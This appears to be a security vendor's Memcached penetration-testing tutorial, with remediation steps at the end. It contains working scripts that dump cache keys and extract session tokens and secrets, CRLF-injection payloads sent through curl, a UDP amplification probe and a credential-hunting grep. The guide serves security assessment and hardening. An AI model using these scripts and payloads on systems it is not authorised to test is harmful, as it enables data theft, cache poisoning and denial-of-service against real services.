Memcached provides no authentication by default and stores arbitrary application data in plaintext. Over 100,000 internet-exposed Memcached instances have been discovered on Shodan, each containing production session tokens, user objects, and API responses. Worse, Memcached's UDP protocol enables one of the highest amplification DRDoS attacks ever observed (51,000x amplification factor), used in the 1.7 Tbps GitHub attack of 2018. This guide covers Memcached penetration testing: unauthenticated access, session theft, cache poisoning via CRLF injection, and DRDoS amplification assessment.
| Attack Vector | Default Config | Impact |
|---|---|---|
| Port 11211 TCP (text protocol) | No auth, all IPs | Full cache read/write/delete |
| Port 11211 UDP (binary protocol) | Enabled pre-1.5.6 | DRDoS 51,000x amplification |
| No TLS by default | Plaintext on wire | MITM, credential theft |
| SASL auth optional | Disabled | Brute force if enabled |
| Key namespace flat | Single namespace | Any key accessible to any client |
| Stats endpoint | No auth | Server internals disclosure |
# Nmap scan for Memcached
nmap -sV -p 11211 --script memcached-info target-range/24
# Quick banner grab
echo -e "stats\r\n" | nc -w3 memcached-host 11211
# Check UDP is exposed (critical for DRDoS assessment)
echo -e "stats\r\n" | nc -u -w2 memcached-host 11211
# Identify Memcached version
echo -e "version\r\n" | nc -w2 memcached-host 11211
# Response: VERSION 1.6.17 or similar
# Shodan search (for external assessment)
# shodan search "port:11211 product:Memcached"
# Returns internet-exposed instances globally
# Check for SASL authentication requirement
echo -e "set testkey 0 0 4\r\ntest\r\nget testkey\r\n" | nc -w3 memcached-host 11211
# If SASL enabled: ERROR UNAUTHORIZED
# If no auth: STORED / VALUE testkey ...
# Connect to Memcached (no authentication required by default)
nc -vv memcached-host 11211
# Basic commands once connected:
# stats - server statistics
# stats slabs - memory allocation per slab
# stats items - item count per slab
# stats cachedump N 0 - dump all keys from slab N
# get key - get a specific key's value
# delete key - delete a key
# flush_all - delete ALL cached items (destructive!)
# Automated key dump script
python3 << 'EOF'
import socket
def memcached_cmd(s, cmd):
s.sendall((cmd + "\r\n").encode())
return s.recv(65536).decode()
s = socket.socket()
s.connect(("memcached-host", 11211))
s.settimeout(3)
# Get server stats
print("=== Server Info ===")
print(memcached_cmd(s, "version"))
print(memcached_cmd(s, "stats"))
# Get slab stats to find which slabs have data
print("=== Items per slab ===")
items_response = memcached_cmd(s, "stats items")
slabs = []
for line in items_response.split("\n"):
if "STAT items:" in line:
slab_id = line.split(":")[1].split(":")[0]
if slab_id not in slabs:
slabs.append(slab_id)
# Dump keys from each slab
all_keys = []
for slab in slabs[:10]: # limit to first 10 slabs
print(f"\n=== Slab {slab} keys ===")
dump = memcached_cmd(s, f"stats cachedump {slab} 100")
print(dump[:500])
for line in dump.split("\n"):
if line.startswith("ITEM "):
key = line.split(" ")[1]
all_keys.append(key)
# Fetch first 20 keys
print("\n=== Key values ===")
for key in all_keys[:20]:
result = memcached_cmd(s, f"get {key}")
print(f"Key: {key}")
print(f"Value: {result[:200]}")
print("---")
s.close()
EOF
# Common high-value cache key patterns to target
# (application frameworks use predictable key names)
# PHP session cache
# Keys like: PHPREDIS_SESSION:sess_abc123, memc.sess.key.abc123
echo -e "stats cachedump 1 1000\r\n" | nc -w5 memcached-host 11211 | grep -i "sess\|session"
# Django cached sessions
# Keys like: django.contrib.sessions.cache:abc123
echo -e "get django.contrib.sessions.cache:$(head -1 /dev/urandom | md5sum | head -c 32)\r\n" | nc -w2 memcached-host 11211
# Rails session store in Memcached
# Keys like: _session_id:abc123 or app:session:abc123
# Node.js Express sessions (express-session with connect-memcached)
# Keys like: sess:abc123
# General enumeration of interesting patterns
python3 << 'EOF'
import socket, re
s = socket.socket()
s.connect(("memcached-host", 11211))
s.settimeout(5)
interesting_patterns = [
"session", "sess", "token", "auth", "user", "login",
"password", "passwd", "secret", "key", "api", "jwt",
"oauth", "bearer", "csrf", "admin", "cache:user"
]
# Dump all keys from slabs 1-10
all_data = ""
for slab in range(1, 11):
s.sendall(f"stats cachedump {slab} 10000\r\n".encode())
try:
chunk = s.recv(65536).decode(errors='replace')
all_data += chunk
except:
pass
# Find keys matching sensitive patterns
for line in all_data.split("\n"):
if "ITEM " in line:
key = line.split(" ")[1]
for pattern in interesting_patterns:
if pattern.lower() in key.lower():
s.sendall(f"get {key}\r\n".encode())
value = s.recv(65536).decode(errors='replace')
print(f"[!] SENSITIVE KEY: {key}")
print(f" VALUE: {value[:300]}")
break
s.close()
EOF
If a web application constructs Memcached key names using user-controlled input without stripping CRLF characters, an attacker can inject additional Memcached commands through the key name — poisoning or overwriting other cached entries.
# Memcached key CRLF injection
# Vulnerable code pattern (Python):
# key = f"user:{user_id}"
# cache.set(key, user_data)
# Attack: inject CRLF + a new set command into the key
# If user_id = "123\r\nset admin_token 0 300 20\r\nforged_admin_token"
# The resulting Memcached commands become:
# set user:123
# set admin_token 0 300 20
# forged_admin_token
# Test CRLF injection via application endpoint
# The application reads user_id from a parameter, constructs key, caches user
curl "http://app.target.com/profile?user_id=123%0d%0aset%20admin_token%200%20300%2020%0d%0aforged_admin_token"
# Verify if injection succeeded
echo -e "get admin_token\r\n" | nc -w2 memcached-host 11211
# If returns: VALUE admin_token 0 20 / forged_admin_token → injection successful
# More impactful: poison a cached page
# User_id = "123\r\nset homepage_cache 0 3600 50\r\n"
curl "http://app.target.com/cache?id=123%0d%0aset%20homepage_cache%200%203600%2050%0d%0a%3Cscript%3Ealert(1)%3C/script%3E"
# Verify
echo -e "get homepage_cache\r\n" | nc -w2 memcached-host 11211
Memcached's UDP protocol can be abused for Distributed Reflective Denial of Service (DRDoS) attacks. A 15-byte `stats` request can return 100+ KB of statistics (51,000x amplification). This was used in the 1.7 Tbps GitHub attack in 2018.
# Check if UDP port 11211 is accessible (amplification vector)
# Use netcat UDP mode
echo -e "stats\r\n" | nc -u -w2 memcached-host 11211 | wc -c
# Large response (thousands of bytes) = amplification vulnerability
# More precise check with timing
python3 << 'EOF'
import socket, time
HOST = "memcached-host"
PORT = 11211
# Memcached UDP request format:
# [request_id 2B][sequence 2B][num_datagrams 2B][reserved 2B][payload]
request_id = b'\x00\x01'
seq = b'\x00\x00'
num_datagrams = b'\x00\x01'
reserved = b'\x00\x00'
payload = b"stats\r\n"
udp_request = request_id + seq + num_datagrams + reserved + payload
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(3)
start = time.time()
s.sendto(udp_request, (HOST, PORT))
total_bytes = 0
try:
while True:
data, _ = s.recvfrom(65536)
total_bytes += len(data)
except socket.timeout:
pass
elapsed = time.time() - start
amplification = total_bytes / len(udp_request) if total_bytes > 0 else 0
print(f"Sent: {len(udp_request)} bytes")
print(f"Received: {total_bytes} bytes")
print(f"Amplification factor: {amplification:.0f}x")
print(f"Status: {'VULNERABLE to DRDoS' if amplification > 10 else 'Not vulnerable'}")
s.close()
EOF
# Remediation: disable UDP
# In memcached.conf or startup args:
# memcached -p 11211 -U 0 -l 127.0.0.1 (disables UDP, binds to localhost)
# Check current binding
ps aux | grep memcached
# Look for: -l 0.0.0.0 (all interfaces, BAD) vs -l 127.0.0.1 (localhost only, GOOD)
# Look for: -U 0 (UDP disabled, GOOD) vs no -U flag (UDP enabled on same port, BAD)
# If Memcached is compiled with SASL support and -S flag is set:
# Test SASL authentication mechanism
python3 << 'EOF'
import socket
HOST = "memcached-host"
PORT = 11211
s = socket.socket()
s.connect((HOST, PORT))
s.settimeout(5)
# Try to access without auth first
s.sendall(b"get test_key\r\n")
resp = s.recv(1024).decode()
print(f"Unauthenticated get response: {resp}")
# If SASL: CLIENT_ERROR AUTHENTICATION FAILURE
# If no SASL: END (key doesn't exist) or VALUE ...
# Check SASL mechanisms supported
s.sendall(b"\x80\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
sasl_resp = s.recv(1024)
print(f"SASL list response (raw): {sasl_resp[:50]}")
s.close()
EOF
# Common SASL credentials to try (if SASL is enabled)
# Most deployments use a single username/password set in -S mode
# Credentials are often hardcoded in application config files
# Search for Memcached credentials in application configs
grep -rE "(memcache|CACHE_HOST|MEMCACHED)" /var/www/ --include="*.py" --include="*.rb" --include="*.php" --include="*.env" 2>/dev/null | \
grep -iE "(password|pass|user|auth)"
# ElastiCache-specific: IAM auth uses token-based auth
# aws elasticache describe-cache-clusters --show-cache-node-info | \
# grep -i "endpoint\|auth"
# 1. Bind to localhost only (never 0.0.0.0 in production)
# /etc/memcached.conf or startup flag:
# -l 127.0.0.1
# For distributed: use VPC security groups / iptables to restrict to app servers only
# 2. Disable UDP (eliminates DRDoS amplification attack vector)
# -U 0
# 3. Enable SASL authentication (if using Memcached >= 1.4.3 with SASL support)
# -S (enable SASL)
# Requires: SASL_CONF_PATH=/etc/sasl2/ with memcached.conf defining username/password
# 4. Network-level access control with iptables
iptables -A INPUT -p tcp --dport 11211 -s 10.0.1.0/24 -j ACCEPT # app subnet
iptables -A INPUT -p tcp --dport 11211 -j DROP # block everything else
iptables -A INPUT -p udp --dport 11211 -j DROP # block UDP entirely
# 5. Enable TLS (Memcached >= 1.6.0)
# --enable-tls compile flag, then:
# -Z --cert-file=/etc/ssl/memcached.crt --key-file=/etc/ssl/memcached.key
# 6. Set reasonable memory limits to prevent cache exhaustion
# -m 512 (MB)
# 7. Monitor for suspicious activity
# - Unexpected stat resets (flush_all commands)
# - High miss rate (may indicate key enumeration)
# - Unusually large key counts (data injection)
# 8. Application-level: add namespace prefixes to avoid key collision
# Instead of: cache.set("user_123", data)
# Use: cache.set(f"{app_name}:{environment}:user:123", data)
# AWS ElastiCache: enable encryption at rest and in transit
# aws elasticache modify-cache-cluster \
# --cache-cluster-id my-cluster \
# --auth-token "STRONG_RANDOM_TOKEN_32_CHARS_MIN"
flush_all commands and unusual key enumeration patterns.
| Security Test | Command | Risk |
|---|---|---|
| Unauthenticated access | echo "stats" | nc host 11211 | Critical |
| Key enumeration and data dump | stats cachedump N 0 | Critical |
| Session token extraction | Pattern-match cached keys | Critical |
| UDP amplification exposure | UDP stats request, measure bytes | Critical |
| CRLF injection via key name | %0d%0a in key parameter | High |
| SASL bruteforce (if enabled) | Common credentials list | Medium |
| TLS missing (network sniff) | Wireshark capture on VLAN | Medium |
Ironimo detects unauthenticated Memcached access, UDP amplification exposure, CRLF injection vulnerabilities in caching layers, and session data exposure — as part of comprehensive infrastructure security scanning.
Start free scan